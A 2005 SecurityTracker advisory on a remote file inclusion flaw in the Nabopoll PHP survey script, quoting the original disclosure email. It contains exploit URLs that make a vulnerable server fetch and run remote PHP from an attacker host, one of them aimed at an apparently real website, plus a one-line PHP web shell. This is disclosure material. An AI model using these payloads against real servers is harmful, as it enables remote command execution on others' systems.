Nabopoll Include File Flaw Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1014355
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SecurityTracker URL: http://securitytracker.com/id?1014355
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CVE Reference: CVE-2005-2157
(Links to External Site)
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Updated: Jun 24 2008
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Original Entry Date: Jul 2 2005
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Description: V4mu from Anomaly 1n The System reported a vulnerability in Nabopoll. A remote user can execute arbitrrary commands on the target system.
The 'survey.inc.php' script includes the 'includes/nabopoll.inc.php' file relative to the user-supplied 'path' variable without properly
validating the parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary
PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target
web service.
A demonstration exploit URL is provided:
http://[target]/nabopoll/survey.inc.php?path=http://[attacker]/test/xpl.php?cmd=id
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.nabocorp.com/nabopoll/ (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: skdaemon porra <skdaemon@gmail.com>
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Message History:
None.
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Source Message Contents
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Date: Fri, 1 Jul 2005 14:34:40 -0300
From: skdaemon porra <skdaemon@gmail.com>
Subject: nabopoll remote file inclusion
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########## NaboPoll remote file inclusion founded by V4mu from Anomaly
1n The System ##########
in survey.inc.php line 3:
1 <?php
2=20
3 include_once($path."includes/nabopoll.inc.php");
this line make the survey.inc.php vulnerable to a inclusion of a
remote malicious file in $path:
# example:
# Using a file in www.a1ts.org/test/xpl.php with this source code:
# <? passthru($cmd) ?>
# we can run any shell command in the website like this:
http://www.pronunciationpatterns.com/nabopoll/survey.inc.php?path=3Dhttp://=
www.a1ts.org/test/xpl.php?cmd=3Did
[A]nomaly 1n The System
We are:
V4mu <*> S0l4r1s <*> r3ckd4ll <*> paulinhu <*> nicked
WebSite: www.a1ts.org
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